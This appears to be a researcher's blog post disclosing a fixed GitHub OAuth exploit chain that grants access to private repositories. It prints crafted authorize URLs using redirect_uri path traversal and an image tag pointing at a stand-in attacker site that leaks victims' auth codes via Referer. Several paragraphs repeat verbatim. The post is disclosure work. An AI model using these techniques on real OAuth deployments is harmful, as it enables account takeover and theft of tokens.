Tuesday, January 9, 2018
How I hacked Github again
How I hacked Github again
This is a story about 5 Low-Severity bugs I pulled together to create a simple but high severity exploit, giving me access to private repositories on Github.
These vulnerabilities were reported privately and fixed in timely fashion. Here is the "timeline" of my emails.
More detailed/alternative explanation.
A few days ago Github launched a Bounty program which was a good motivator for me to play with Github OAuth.
Bug 1. Bypass of redirect_uri validation with /../
First thing I noticed was:
If provided, the redirect URL�s host and port must exactly match the callback URL. The redirect URL�s path must reference a subdirectory of the callback URLI then tried path traversal with /../ � it worked.
Bug 2. Lack of redirect_uri validation on get-token endpoint
The first bug alone isnt worth much. Theres protection in OAuth2 from "leaky" redirect_uris, every code has corresponding redirect_uri it was issued for. To get an access token you must supply exact redirect_uri you used in the authorization flow.Too bad. I decided to find out whether the protection was implemented properly.
redirect_uristringThe URL in your app where users will be sent after authorization. See details below about redirect urls.
It was flawed: no matter what redirect_uri the Client sent to get a token, the Provider responded with valid access_token.
Without the first bug, the second would be worth nothing as well. But together they turn into a powerful vulnerability � the attacker could hijack the authorization code issued for a "leaky" redirect_uri, then apply the leaked code on real Clients callback to log in Victims account. Btw it was the same bug I found in VK.com.
Its a serious issue and can be used to compromise "Login with Github" functionality on all websites relying on it. I opened Applications page to see what websites I should check. This section got my attention:
Gist, Education, Pages and Speakerdeck are official pre-approved OAuth clients. I couldnt find client_id of Pages/Education, Speakerdeck was out of Bounty scope (I found account hijacking there and was offered $100). Lets find a Referer-leaking page on Gist then.
Bug 3. Injecting cross domain image in a gist.
Basically, there are two vectors for leaking Referers: user clicks a link (requires interaction) or user agent loads some cross domain resource, like <img>.
I cant simply inject <img src=http://attackersite.com> because its going to be replaced by Camo-proxy URL, which doesnt pass Referer header to attackers host. To bypass Camo-s filter I used following trick: <img src="///attackersite.com">
You can find more details about this vector in Evolution of Open Redirect Vulnerability.
///host.com is parsed as a path-relative URL by Rubys URI library but its treated as a protocol-relative URL by Chrome and Firefox. Heres our crafted URL:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code
When the user loads this URL, Github 302-redirects him automatically.
Location: https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
But the user agent loads https://gist.github.com/homakov/8820324?code=CODE
Then user agent leaks CODE sending request to our <img>:
As soon as we get victims CODE we can hit https://gist.github.com/auth/github/callback?code=CODE and voila, we are logged into the victims account and we have access to private gists.
I cant simply inject <img src=http://attackersite.com> because its going to be replaced by Camo-proxy URL, which doesnt pass Referer header to attackers host. To bypass Camo-s filter I used following trick: <img src="///attackersite.com">
You can find more details about this vector in Evolution of Open Redirect Vulnerability.
///host.com is parsed as a path-relative URL by Rubys URI library but its treated as a protocol-relative URL by Chrome and Firefox. Heres our crafted URL:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code
When the user loads this URL, Github 302-redirects him automatically.
Location: https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
But the user agent loads https://gist.github.com/homakov/8820324?code=CODE
Then user agent leaks CODE sending request to our <img>:
Bug 4. Gist reveals github_token in cookies
I was wondering how Gist persists the user session and decoded _gist_session cookie (which is regular Rails Base64 encoded cookie):
Bug 5. Auto approval of scope for Gist client.
Final touch of my exploit. Since Gist is a pre-approved Client, I assumed Github approves any scope the Gist Client asks for automatically. And I was right.All we need now is to load the crafted URL into the victims browser:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
The user-agent leaks the victims CODE, Attacker uses leaked CODE to log into the victims Gist account, decodes _gist_session to steal github_token and ...
NoScript is not going to help. The exploit is script-less.
Private repos, read/write access, etc � all of it in stealth-mode, because the github_token belongs to Gist client. Perfect crime, isnt it?
NoScript is not going to help. The exploit is script-less.
Private repos, read/write access, etc � all of it in stealth-mode, because the github_token belongs to Gist client. Perfect crime, isnt it?
Bounty
$4000 reward is pretty good. Interestingly, it would be even cheaper for them to buy 4-5 hours of my consulting services at $400/hr which would have cost them $1600 instead. Crowdsourced-security is also an important thing to have. Its better to use them both :)
Id love to help your company & save you a lot of money.
P.S. I have two other posts about Github vulnerabilities: mass assignment and cookie tossing.
Id love to help your company & save you a lot of money.
P.S. I have two other posts about Github vulnerabilities: mass assignment and cookie tossing.
